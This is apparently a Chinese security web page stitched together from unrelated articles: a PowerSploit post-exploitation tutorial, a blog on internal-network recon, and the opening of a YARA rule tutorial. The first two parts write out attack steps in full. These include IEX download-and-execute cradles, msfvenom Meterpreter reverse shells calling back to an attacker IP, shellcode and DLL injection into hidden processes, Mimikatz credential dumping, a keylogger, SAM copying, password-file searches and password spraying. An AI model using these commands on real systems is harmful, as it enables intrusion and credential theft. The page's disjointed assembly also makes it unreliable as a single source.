整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          Powershell & Powersploit 入門

          文《Powershell & Powersploit 入門》由armyzer0團隊原創投稿安全脈搏,安全脈搏發表本文,如需要轉載,請先聯系安全脈搏授權;未經授權請勿轉載。

          PowerShell 是運行在 Windows上實現系統和應用程序管理自動化的命令行腳本環境。你可以把它看成是命令行提示符 cmd.exe 的擴充,或是顛覆。Powershell 需要.NET環境的支持,同時支持.NET對象。其可讀性,易用性,可以位居當前所有 shell 之首。

          當前 PowerShell 有四版本,分別為 1.0,2.0,3.0 ,4.0

          安全脈搏上關于Powershell的文章非常多,參見這里:https://www.secpulse.com/archives/tag/powershell

          PowerShell 簡介

          PowerShell 腳本

          * 本地權限繞過執行 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

          * 本地隱藏權限繞過執行腳本 PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden(隱藏窗口) -File xxx.ps1

          * 直接用IEX下載遠程的PS1腳本回來權限繞過執行 powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

          * 遠程代碼執行 IEX (New-Object

          Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)

          Powersploit

          一款基于powershell的后滲透(Post-Exploitation)框架,集成大量滲透相關模塊和功能。

          [https://github.com/mattifestation/PowerSploit][1]

          ##Linux下簡易安裝和搭建Powersploit(用于測試,請勿使用非法用途)

          Linux git clone powerspolit

          開啟Apache服務

          搭建簡易可下載powersploit腳本的服務器

          1. ##Powersploit模塊簡介

          * CodeExecution 在目標主機執行代碼

          * ScriptModification 在目標主機上創建或修改腳本

          * Persistence 后門腳本(持久性控制)

          * AntivirusBypass 發現殺軟查殺特征

          * Exfiltration 目標主機上的信息搜集工具

          * Mayhem 藍屏等破壞性腳本

          * Recon 以目標主機為跳板進行內網信息偵查

          1. ##Powersploit 模塊運用

          Invoke-Shellcode 此模塊結合MSF使用可以達到意想不到的效果,在這理就不介紹。

          先在目標主機安裝“Invoke-Shellcode”腳本,使用Get-Help + 腳本名可以查看使用方法:

          命令格式:

          IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecutio

          n/Invoke--Shellcode.ps1")

          1. 一:在MSF里面使用reverse_https模塊進行反彈,設置如下

          本來在Invoke-Shellcode直接使用以下這條命令進行反彈的:

          Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost 192.168.146.129 -Lport 4444 -Force

          但是Powersploit更新到了3.0, Invoke-Shellcode腳本沒有Lhost和Lport參數,所以我們需要用到另外一種方法實現。

          使用msfvenom生成一個powershell腳本。

          msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.110.129 LPORT=4444 -f powershell -o /var/www/html/test

          IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")

          IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/test")

          Invoke-Shellcode -Shellcode ($buf)

          二:進程注入

          首先創建一個隱藏的進程:

          Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

          使用Get-Process命令查看當前進程,記住你剛剛創建的隱藏進程ID

          然后使用Invoke-Shellcode腳本進行進程注入

          Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf)

          要是你的Powersploit是2.2版本的那么可以直接使用以下命令

          Invoke-Shellcode -ProcessID 2384 –Payload

          windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444

          三:DLL注入

          Invoke-DLLInjection 是DLL注入腳本

          首先下載安裝DLL注入腳本到目標機器

          IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Inv

          oke-DllInjection.ps1")

          在MSF里面生成一個DLL注入腳本,然后下載DLL文件使用Invoke-DLLInjection腳本來實現DLL注入

          msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll –o /var/www/html/msf.dll

          為什么使我們的注入更加隱蔽,我們開啟一個隱藏進程來進行DLL注入

          Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

          Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll

          Invoke-Portscan端口掃描

          Invoke-Portscan -Hosts <IP Adress/Rangr> -Ports

          Invoke-Mimikatz DUMP密碼(注意此腳本需要用管理員權限運行)

          Invoke-Mimikatz –DumpCreds也可以直接運行

          Get-Keystrokes 鍵盤記錄器

          Get-Keystrokes -LogPath + <保存位置>

          Invoke-NinjaCopy 萬能復制

          Invoke-NinjaCopy -Path <需要復制的文件> -LocalDestination <復制文件保存位置>

          像windows主機里有個數據庫SAM文件,里面數據很多有價值的信息,普通的COPY命令是無法復制的,使用萬能復制可以復制SAM文件

          Invoke-ReverseDnsLookup DNS查詢(好像沒什么用- -!,望大家告訴我這玩意有什么用)

          Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>

          Get-HttpStatus 網站目錄檢測(好像沒什么用)

          Get-HttpStatus –Target <IP Address> + 字典 (如果遇到的是HTTPS的那么后面加-UseSSL,在其他端口的那么 –Port )

          本文《Powershell & Powersploit 入門》由armyzer0團隊原創投稿安全脈搏,安全脈搏發表本文,如需要轉載,請先聯系安全脈搏授權;未經授權請勿轉載。

          【安識科技,是一家專注于賬號安全、企業風險評估的技術型企業。旗下擁有基于云+端的自研產品多因素令牌、基于互聯網密碼泄露查詢的SaaS服務平臺、基于插件的主被動多種掃描的企業級漏洞檢測云平臺。】

          【安全脈搏:分享技術、悅享品質。文章僅代表作者看法,如有不同觀點,歡迎添加安全脈搏微信號:SecPulse,進行交流。】

          很久沒做內網了,溫習一下。希望正在學習安全的小伙伴不要踏入我初學內網的誤區。
          先來談談我對內網的理解吧,不是技術的方向。
          內網學的東西很多,很雜。當時我問了我的大哥,他給我的一句話確實影響我至今。我說內網就說信息收集,cmd命令能收集,powershell收集也很多,還有類似wmic,或者一些腳本語言寫的信息收集工具,太多了,這些都要學真的太浪費時間了。他是這么跟我說的,很多東西你要學一輩子都學不完,但是你把一個東西學好了,結果都是一樣的。確實是這么個道理,學習需要廣度,能讓你碰到不同的情況乃至極限情況你有解決問題的思路。學習需要深度,你能在正常情況下創造乃至開辟一條新的道路。所以說完全沒有必要什么命令都背什么命令都記得清清楚楚,最重要的是要有自己的一套滲透手法,能夠達到效果,就是好的。沒人在乎你的過程,除非你真的很6。好了。開始今天的主題。
          內網這一塊不是我的擅長,但是也有幸參加過一些護網,做過一點內網滲透。總結性的來說說我的思路。
          一般來說,我們拿了權限做的第一件事是維權,維權這一塊以后再說。因為現在很多時候涉及免殺,免殺這一塊我研究的不是很多。然后就會對當前主機進行信息收集。我就獻丑說一下自己的信息收集思路。可能命令不是很多,都是靠平時自己收集的,主要是提供一個思路,如何實現自動化并且不觸發告警,才是應該操心的。

          文件類

          1)配置文件
          如果是從web打進去的,配置文件是一定要找到,找到了數據庫的賬號密碼,如果是站庫分離可能會拿下第二臺,如果不是也能獲取數據庫的數據,或者說用來做密碼復用。配置文件一般就在web目錄找config等標志性文件。其中如果密碼存在加密的大眾系統可以試試去github找找有沒有解密腳本。自定義的加密可以嘗試找源碼進行破解。

          (2)敏感文件
          桌面是一定要看的,很多人有保存文件在桌面的習慣,特別是個人機。很有可能記錄了一些密碼信息或者其他網站的登錄賬號密碼信息,以及一些敏感文件。
          (3)其他目錄
          這種就是比較隨緣了,因為個人習慣不同,稍微有點安全的人可能不會放在桌面,放在D盤啊等地方。這種可能就不是很好找,但是也可以全局搜索文件名,文件內容包含passwd,user,password等字段的文件。回收站也可以看看。
          下面放一些我常用的命令,來源于之前記錄的別人發的,但是原文找不到了。自己根據實際情況改。

          dir %APPDATA%\Microsoft\Windows\Recent //查看最近打開的文檔
          findstr /si password  config.*  *.ini *.txt *.properties //遞歸搜索后面文件的password字段
          dir /a /s /b "*conf*" > 1.txt    //遞歸查找當前目錄包含conf的文件
          findstr /s /i /c:"Password" 目錄\*.txt  //遞歸查找目錄下的txt中的oassword字段
          for /r 目錄 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo  %i >> C:\Users\e0mlja\desktop\123.txt     //遞歸查找目錄下的敏感文件輸出到桌面123.txt中
          指定目錄搜索各類敏感文件
          dir /a /s /b d:\"*.txt"
          dir /a /s /b d:\"*.xml"
          dir /a /s /b d:\"*.mdb"
          dir /a /s /b d:\"*.sql"
          dir /a /s /b d:\"*.mdf"
          dir /a /s /b d:\"*.eml"
          dir /a /s /b d:\"*.pst"
          dir /a /s /b d:\"*conf*"
          dir /a /s /b d:\"*bak*"
          dir /a /s /b d:\"*pwd*"
          dir /a /s /b d:\"*pass*"
          dir /a /s /b d:\"*login*"
          dir /a /s /b d:\"*user*"
          收集各類賬號密碼信息
          findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
          findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
          findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
          findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
          findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

          第一階段:計算機信息類

          畢竟域環境多了一些拿域控,或者kerberos認證等等的東西,就還是分開吧。很多時候盲目地去找一些命令是徒勞無功的,最主要是你要清楚自己要做什么,針對性的作信息收集。這里都是說得手動的,工具類的會放到最后面。

          工作組

          (1)ip信息(主要判斷自己的位置已經確定能橫向的方向)

          ipconfig /all 網卡信息 
          route print 查看路由表 看能到達的地方
          arp -a 查看arp表 看緩存
          hosts  文件

          還有其他的可以自行去做去找,正常情況下這幾個命令也夠了,wmic ps那些也可以做到,但是沒必要,集成的現在太容易被殺了,其他工具也還是靠著平時自己積累。

          (2)端口收集(主要是判斷開放了哪些端口,和哪些機器連通,有沒有后續利用的可能)
          netstat-ano //一條就夠了,不需要太多的花里胡哨 也可以自己去根據習慣找一些其他的方式。還有一些簡化的比如查看特定狀態端口根據自己的需要去篩選。findstr命令等實現。

          (3)進程收集(主要是看看開啟了哪些進程,管理員進程可能涉及提權,殺軟進程可能涉及免殺,還有一些第三方的進程可能涉及可以做權限維持,這種都是根據需要去確定的)

          tasklist /svc //查看所有進程
          tasklist /v //查看進程啟動的用戶
          taskkill /f /PID //關閉某個pid的進程
          wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe //查看本機殺軟

          對于防火墻配置一類的,我這里沒有涉及,是因為特殊情況下才會做。
          (4)
          服務收集(主要是可能涉及一些提權,已經從服務中提取敏感信息比如說抓取密碼等,可以通過產品和進程去判斷)

          wmic product get name,version
          tasklist /svc
          wmic service list brief //服務信息收集

          (5)計劃任務 (涉及提權,權限維持等,也可能通過計劃任務發現腳本文件中可能存在敏感內容)

          schtasks /query

          (6)用戶收集(主要是對提權或者橫向移動做鋪墊)

          net user 查看用戶
          net localgroup Administrators 查看管理員組
          whoami 當前用戶

          (7)憑證收集

          (1)hash mimikatz
          (2)瀏覽器及第三方軟件密碼 (利用各種工具或自己寫)
          (3)wifi密碼等
          (4)rdp密碼

          這一塊最常用的還是抓hash,肯定首推是mimikatz。不過要做好免殺,免殺的方式就不說了,之前測試一些腳本加載過某0還是沒有問題的,現在很久沒用過了不知道了。關于其他的一些比如xshell,瀏覽器密碼抓取的工具,就需要自己平時多收集了,當前有條件的自己寫也還是沒問題的。還要個人機上一些wifi密碼可能也有用,這個就看自己習慣了。

          (8)其他收集(主要是一些共享啊之類的)

          net share  //查看共享
          net use //查看ipc$
          systeminfo //查看計算機信息(提權可能會用,也能判斷域環境已經操作系統版本)
          wmic startup get command,caption 查看自啟動
          wmic share get name,path,status 查看共享 
          net start 查看當前機器啟動的服務 
          cmdkey /l# 查看保存的憑證

          域環境

          工作組的環境比較單一,且鑒權都是在本地做,所以沒有太多的花里胡哨。域環境可能會麻煩一點,接下來我會從思路上去簡述信息收集,爭取能夠給大家一個比較清晰的腦圖,現在我們暫定我們的目標是域控。

          (1)當我們拿到一個機器之后,肯定是先判斷域環境
          (2)確實是域環境以后,要對本機做信息收集
          (3)需要判斷域控
          (4)鑒于有委派或者約束委派這些攻擊方式,可能會需要查找一些服務用戶,也就是spn相關。
          (5)域環境中exchange的權限很高的,有經驗的老師傅可能會進來就找郵服,這一塊我沒有做過,就說一下我自己收集的。
          (6)面試的時候會必問的問題,如果尋找域控,如何拿下域控,對于這些方法需要的前提,都是我們必須要進行收集的。

          對于本機的收集上面重復的我就不多說了,注意一下下面的點就行了。

          (1)ip收集

          此時的ip收集我們需要關注一下dns,因為通常情況下,域控可能就是dns服務器。

          (2)端口搜集

          本機端口收集還是正常的和工作組一樣

          (3)進程收集

          此時的進程收集我們需要留意一下域管啟用的進程,如果能夠竊取hash,或者直接導出域管hash,基本已經意味著我們有域控權限了。

          (4)服務收集

          setspn -T domain -q */* //spn收集 后續能利用的太多了,搜索服務用戶,搜索域中存在的服務

          (5)用戶與機器收集

          wmic useraccount get /all 查看域用戶詳情
          net user /domain ------> 查詢域用戶
          net group /domain ------> 查詢域里面的工作組
          net group "domain admins" /domain ------> 查詢域管理員用戶組
          net localgroup administrators /domain ------> 登錄本機的域管理員
          query user || qwinsta 查看在線用戶
          net view ------> 查詢同一域內機器列表 
          net view /domain ------> 查詢域列表

          (6)憑證收集

          和上面一樣,只不過這里可以針對權限區分出來從目前的用戶看我們有什么權限

          (7)其他收集

          也是屬于撿垃圾了,雜七雜八的收集,沒想到,想到了再說。

          第二階段:橫向信息收集

          經過我們上面各個模塊的收集完成后,我們對我們當前計算機的情況已經有所了解了。該提權提權,改拿小本本記錄就記錄。現在進入第二階段了,橫向移動的收集。橫向我分為兩種,一種是定向橫向,比如我專門打郵服,或者專門打弱口令,只掃描特定端口。還有一種是全方位橫向,就是我對所有可達的ip端都進行探測,這種動靜就會比較大,但是橫向最主要其實也是收集ip和端口了。有web業務打web,有弱口令能ssh或者rdp就試試,ftp能匿名訪問也是分,redis未授權可能還能彈回來個shell。這里就八仙過海各顯神通了。我這里分為ip和端口進行收集來討論。
          ip類
          集成的工具最后再說,先說手動的。
          常見的可能是利用腳本或者cmd命令進行收集。這里列舉幾個

          1:ping
          for /l %i in (1,1,255) do @ping 172.16.2.%i -w 1 -n 1|find /i "ttl="
          2.powershell
          1..255 | % {echo "192.168.158.$_"; ping -n 1 -w 100 192.168.158.$_} | Select-String ttl
          3.集成腳本
          @echo off
          
          rem 內網存活段自動發現腳本 [Windows] 
          rem By Klion
          rem 2020.7.1
          
          setlocal enabledelayedexpansion
          
          for /l %%i in (0,1,255) do (
            for /l %%k in (0,1,255) do (
              ping -w 1 -n 1 10.%%i.%%k.1 | findstr "TTL=" >nul || ping -w 1 -n 1 10.%%i.%%k.254 | findstr "TTL=" >nul
              if !errorlevel! equ 0 (echo 10.%%i.%%k.0/24 is alive ! >> alive.txt ) else (echo 10.%%i.%%k.0/24 May be sleeping ! )
            )
          )
          
          for /l %%s in (16,1,31) do (
            for /l %%d in (0,1,255) do (
              ping -n 1 -w 1 172.%%s.%%d.1  | findstr "TTL=" >nul || ping -w 1 -n 1 172.%%s.%%d.254 | findstr "TTL=" >nul
              if !errorlevel! equ 0 (echo 172.%%s.%%d.0/24 is alive ! >> alive.txt ) else (echo 172.%%s.%%d.0/24 May be sleeping ! )
            )
          )
          
          for /l %%t in (0,1,255) do (
            ping -n 1 -w 1 192.168.%%t.1  | findstr "TTL=" >nul || ping -n 1 -w 1 192.168.%%t.254 | findstr "TTL=" >nul
            if !errorlevel! equ 0 (echo 192.168.%%t.0/24 is alive ! >> alive.txt ) else (echo 192.168.%%t.0/24 May be sleeping ! )
          )
          4.自己利用python等寫一些掃描的腳本
          5.利用arp,netBios,tcp,udp等協議探測

          端口類

          1.python
          # This script runs on Python 3
          import socket, threading
          
          def TCP_connect(ip, port_number, delay, output):
              TCPsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              TCPsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
              TCPsock.settimeout(delay)
              try:
                  TCPsock.connect((ip, port_number))
                  output[port_number] = 'Listening'
              except:
                  output[port_number] = ''
          
          def scan_ports(host_ip, delay):
          
              threads = []        # To run TCP_connect concurrently
              output = {}         # For printing purposes
          
              # Spawning threads to scan ports
              for i in range(10000):
                  t = threading.Thread(target=TCP_connect, args=(host_ip, i, delay, output))
                  threads.append(t)
          
              # Starting threads
              for i in range(10000):
                  threads[i].start()
          
              # Locking the script until all threads complete
              for i in range(10000):
                  threads[i].join()
          
              # Printing listening ports from small to large
              for i in range(10000):
                  if output[i] == 'Listening':
                      print(str(i) + ': ' + output[i])
          
          def main():
              host_ip = input("Enter host IP: ")
              delay = int(input("How many seconds the socket is going to wait until timeout: "))   
              scan_ports(host_ip, delay)
          
          if __name__ == "__main__":
              main()
          2.powershell
          24..25 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.119",$_)) "Port $_ is open!"} 2>$null
          
          24..25 |% {echo "$_ is "; Test-NetConnection -Port $_ -InformationLevel "Quiet" 192.168.1.119}2>null
          3.telnet

          按照這種思路下來,我們只需要針對我們某個步驟,選擇我們理想的方式或者工具去實現,就能收集到很多的信息。而且思路清晰,明確自己下一步需要做什么。

          1.用戶名枚舉(因為kerberos驗證的原因,非域情況下能夠枚舉域用戶,原理自己可以看一下,這里我沒有能力自己寫工具,就放一些工具鏈接)
          msf:auxiliary/gather/kerberos_enumusers
          nmap:Nmap –p 88 –script-args krb5-enum-users.realm=’[domain]’,userdb=[user list] [DC IP]
          kerbrute:kerbrute_windows_amd64.exe userenum --dc ip -d 域名 user.txt
          DomainPasswordSpray:
          Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
          2.密碼噴射
          kerbrute:kerbrute_windows_amd64.exe passwordspray --dc ip -d 域名 user.txt 密碼
          nvoke-DomainPasswordSpray -Domain 域名 -UserList .\userlist.txt -Password '密碼
          
          3.查找域控
          nltest /DCLIST:GOD  查域控
          Nslookup -type=SRV _ldap._tcp 查看域控主機名
          net group “Domain Controllers” /domain 查看域控組內域控主機
          net group “Domain Controllers” /domain 查看域控列表
          net time /domain
          nltest /dclist:[域名] 查看域控機器名
          dsquery server 得到域控制器的IP
          netdom query pdc
          ipconfig /all 查看dns
          掃描139等不常見但域控會開啟的端口
          
          4.獲取域控的方法(這里不說釣魚欺騙類的這種,中繼后續都開了SMB簽名也不說吧)
          (1).抓域管密碼橫向
          (2).通過域管進程橫向
          (3)利用已知漏洞(打印機,14068,zerologon等)
          (4)委派攻擊
          (5)利用第三方軟件如郵服等
          (6)組策略做密碼復用
          (7)金銀票據(主要用來做維權的,多學點沒錯,也寫在這里吧)
          
          5.判斷域環境
           net time /domain
           ipconfig /all
           systeminfo 
           net config workstation

          工具

          用戶
          用戶爆破
          https://github.com/ropnop/kerbrute
          用戶枚舉
          https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
          https://github.com/mubix/netview/
          獲取服務用戶
          kerberoast
          GetUserSPNs.ps1
          ip
          (1)nbtscan.exe
          (2)arpscan.exe
          (3)ServerScan https://github.com/Adminisme/ServerScan
          (4)msf模塊
          auxiliary/scanner/discovery/arp_sweep
          auxiliary/scanner/discovery/udp_sweep
          auxiliary/scanner/discovery/udp_probe
          auxiliary/scanner/netbios/nbname
          端口
          端口爆破
          PortBrute https://github.com/awake1t/PortBrute
          服務
          MSF
          auxiliary/scanner/smb/smb_version
          auxiliary/scanner/ftp/ftp_version 發現ftp
          auxiliary/scanner/ssh/ssh_version 發現ssh
          auxiliary/scanner/telnet/telnet_version 發現telnet
          auxiliary/scanner/mysql/mysql_version 發現mysql
          密碼爆破
          https://github.com/fireeye/gocrack
          https://github.com/dafthack/DomainPasswordSpray
          web掃描
          https://github.com/broken5/bscan
          https://github.com/phantom0301/PTscan

          域與非域集合工具
          (1)Seatbelt.exe
          Seatbelt.exe -group=user -full 運行普通用戶權限檢查的模塊 -full返回輸出
          Seatbelt.exe -group=all 運行所有模塊(需要管理員權限)
          Seatbelt.exe -group=system #運行檢查系統相關的信息
          Seatbelt.exe -group=misc #運行所有其他檢查(包括瀏覽器記錄)
          Seatbelt.exe -group=chrome 運行瀏覽器歷史等模塊
          (2)BloodHound
          https://github.com/BloodHoundAD/BloodHound/releases
          (3)WinPwn
          https://github.com/S3cur3Th1sSh1t/WinPwn/
          (4)domainTools
          https://github.com/SkewwG/domainTools
          (5)Rubeus.exe
          https://github.com/GhostPack/Rubeus
          (6)powerview && powersploit
          (7)fscan
          https://github.com/shadow1ng/fscan

          集合腳本

          (1)wmic
          for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
          wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
          wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
          wmic USERACCOUNT list full /format:"%var%" >> out.html
          wmic group list full /format:"%var%" >> out.html
          wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
          wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
          wmic netuse list full /format:"%var%" >> out.html
          wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
          wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
          wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
          wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
          wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
          
          (2)powershell
          Function Get-InstalledSoftware{
              <#
              .SYNOPSIS
              Gets a computers Name, Operating System,OS Architecture and all installed Software Name,Version and IdentifyingNumber.
              Returns it all in a powershell object.
              .EXAMPLE
              Get-InstalledSoftware -computername localhost
              .EXAMPLE
              Get-InstalledSoftware -computername comp1,comp2,comp3
              .EXAMPLE
              Get-Content computers.txt | Get-InstalledSoftware | Export-Csv C:\SoftwareReport.csv
              .PARAMETER computername
              One or more computer names seperated by comma.
              #>
          
              [CmdletBinding()]
              param(
                  [Parameter(Mandatory=$true,ValueFromPipeline=$true)]
                  [string[]]$ComputerName
              )
              BEGIN{
              }
              PROCESS 
              {
                  foreach($computer in $ComputerName){
          
                      try {
          
                      $software = Get-WmiObject -Class Win32_Product -ComputerName $ComputerName -ErrorAction Stop
          
                      } catch {
          
                          Write-Host "$computer Offline"
                      }
          
                      $os = Get-WMIObject -Class win32_operatingsystem -ComputerName $ComputerName
                      $osname = ($os.Name).Split("|") | Select-Object -First 1     
          
                          foreach($installed in $software){
          
                              $props = [ordered] @{
                                  'ComputerName' = $os.PSComputerName;
                                  'OperatingSystem' = $osname;
                                  'Archtecture' = $os.OSArchitecture;
                                  'Name' = $installed.Name;
                                  'Version' = $installed.Version;
                                  'Vendor' = $installed.Vendor;
                                  'IdentifyingNumber' = $installed.IdentifyingNumber}          
          
                              $obj = New-Object -TypeName psobject -Property $props
                              Write-Output $obj
          
                          }
          
                      }
                  }
              END{
              }
          }

          最后

          自動化方便是一回事,必然會帶來弊端。動靜大,易查殺等。腳本小子終究只是一時爽。最后還是要自己走安全開發自己寫工具,在特定的環境下能實現功能才行。就難得總結工具了,多培養培養思維多學習學習底層還是長久之道。
          這篇文章只是拋磚引玉給大家提供一個思路,還有很多東西沒用收到。但是信息收集和漏洞利用總是相依相存的。比如委派,郵服這些。或者是需要一些漏洞利用鏈的時候。擴大自己的攻擊技術和攻擊面,了解新的攻擊方式應該是最重要的,可能一條路不同我換了一種攻擊方式,搜集一下需要實現的前置條件都滿足,自然也就打下來了。隨機應變。有些工具是之前收集的說實話都沒有用上過,所以工具在精在順手不在多。選擇合適自己的才最重要。參考文獻

          福利

          關注私我獲取更多【網絡安全學習攻略·資料】


          0x00 前言

          首先,YARA規則是VT的開發人員發布的,用于同類樣本的批量檢索和查殺。

          通過Yara引擎和我們編寫的Yara規則,可以快速對一批樣本進行掃描和識別,從而找到我們希望得到的樣本。

          官方的github庫地址:https://github.com/VirusTotal/yara/releases

          官方文檔說明:https://yara.readthedocs.io/en/v3.7.0/index.html

          0x01 Yara的安裝和使用

          如何安裝Yara

          Yara的安裝非常簡單,在Windows操作系統下,我們可以直接在yara的github庫下載可執行文件到本地,配置環境變量即可用

          可以看到,當前(2020-07-20)的最新版本是Yara4.0.2

          這里下載yara-v3.11.0-994-win64.zip,下載到本地之后直接將壓縮包中了兩個exe解壓并到C:\Windows目錄下并分別重命名位yarac.exe和yara.exe

          然后啟動cmd 直接輸入yara —help 即可查看yara的參數

          在Mac下,可以直接使用pip工具或者brew直接安裝。

          我是通過brew install yara的方式直接安裝的。安裝完成之后,使用方式也是一樣的。

          Yara食用

          現在,以官方提供的yara規則示例我們來看看yara可以做什么。官方給出的示例yara如下:

          rule silent_banker : banker
          {
              meta:
                  description = "This is just an example"
                  thread_level = 3
                  in_the_wild = true
              strings:
                  $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
                  $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
                  $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
              condition:
                  $a or $b or $c
          }
          

          首先,第一行的rule silent_banker : banker是聲明該規則用于檢出banker類型的樣本。

          meta 后面的是一些描述信息,比如規則說明、作者信息等。

          strings 定義了$a $b $c 兩個十六進制字符串(十六進制字符串用大括號括起來)和一個文本字符串(文本字符串直接用雙引號括起來)

          最后condition 規定了匹配的條件,這里寫的是or,表明樣本中只要匹配到了$a $b $c 三個字符串中的任意一個,那么樣本就會被識別為banker

          我們新建一個demo1.yara文件,然后將這部分內容復制進去。

          然后在當前目錄下新建一個文件夾<111> 在該文件夾中分別存放三個文件,一個py文件,一個json文件和一個exe文件。

          現在我們回到demo1.yara所在的目錄,執行yara demo1.yara 111/

          執行完之后,沒有任何輸出,根據Unix內核的無回顯則運行成功原則,我們可以知道該指令已經成功執行。

          而沒有輸出是因為我們的yara規則沒有命中111文件夾下的任何文件。于是我們修改規則如下:

          我們增加了一個十六進制字符串$d 所匹配的值是4D 5A。 而4D 5A是PE文件(包括exe、dll等)的文件頭,也就是說一個正常的PE文件中是一定會包含4D 5A這個十六進制的數據的。

          且我們在最后的condition中加入了or $d,表示如果$d條件滿足,樣本也可以成功識別。

          demo1.yara保存之后我們重新對111文件夾下的文件進行掃描:

          這里可以看到,yara規則已經成功識別到了111/svchost.exe文件命中了我們的yara特征,并且提掃描之后自動標記為silent_banker,這個silent_banker就是我們在最上面定義的檢出名稱。

          現在我們將更多的PE文件拷貝到111文件夾下以及111文件夾下的子目錄中。

          然后再次對111文件夾進行掃描

          這里可以看到還是只有一條結果,于是我們通過yara —hlep查看一些幫助文檔:

            -t,  --tag=TAG                   print only rules tagged as TAG
            -i,  --identifier=IDENTIFIER     print only rules named IDENTIFIER
            -n,  --negate                    print only not satisfied rules (negate)
            -D,  --print-module-data         print module data
            -g,  --print-tags                print tags
            -m,  --print-meta                print metadata
            -s,  --print-strings             print matching strings
            -L,  --print-string-length       print length of matched strings
            -e,  --print-namespace           print rules' namespace
            -p,  --threads=NUMBER            use the specified NUMBER of threads to scan a directory
            -l,  --max-rules=NUMBER          abort scanning after matching a NUMBER of rules
            -d VAR=VALUE                     define external variable
            -x MODULE=FILE                   pass FILE's content as extra data to MODULE
            -a,  --timeout=SECONDS           abort scanning after the given number of SECONDS
            -k,  --stack-size=SLOTS          set maximum stack size (default=16384)
            -r,  --recursive                 recursively search directories
            -f,  --fast-scan                 fast matching mode
            -w,  --no-warnings               disable warnings
                 --fail-on-warnings          fail on warnings
            -v,  --version                   show version information
            -h,  --help                      show this help and exit
          

          這些參數很重要,我們可以翻譯了之后多看,多用

          -t、 --tag=tag只打印標記為tag的規則
          -i、 --identifier=identifier只打印名為identifier的規則
          -n、 --negate只打印不滿足的規則(negate)
          -D、 --打印模塊數據打印模塊數據
          -g、 --打印標簽打印標簽
          -m、 --打印元數據
          -s、 --打印字符串打印匹配的字符串
          -L、 --打印字符串長度打印匹配字符串的長度
          -e、 --打印命名空間打印規則的命名空間
          -p、 --threads=NUMBER使用指定的線程數掃描目錄
          -l、 --max rules=NUMBER匹配多個規則后中止掃描
          -d VAR=值定義外部變量
          -x MODULE=文件將文件內容作為額外數據傳遞到模塊
          -a、 --timeout=秒在給定秒數后中止掃描
          -k、 --堆棧大小=插槽設置的最大堆棧大小(默認值=16384)
          -r、 --遞歸遞歸搜索目錄
          -f、 ——快速掃描快速匹配模式
          -w、 --無警告禁用警告
                   --警告失敗警告失敗
          -v、 --版本顯示版本信息
          -h、 --help顯示此幫助并退出
          

          這里可以看到 -r recursively search directories表示遞歸遍歷所有子目錄。于是我們重新運行,帶上-r 參數:yara -r demo1.yara 111/

          這樣就可以對指定目錄進行遞歸掃描了。

          我們還可以集合-r和-m參數,在掃描時輸出詳細信息:

          通過上面的例子,我們對Yara有了一個大概的了解,接下來我們來看一下Yara的一些更方便的特性。我們上面提到,Yara可以匹配文本字符串、十六進制字符串。其實除了這兩種,Yara還支持正則表達式的寫法。

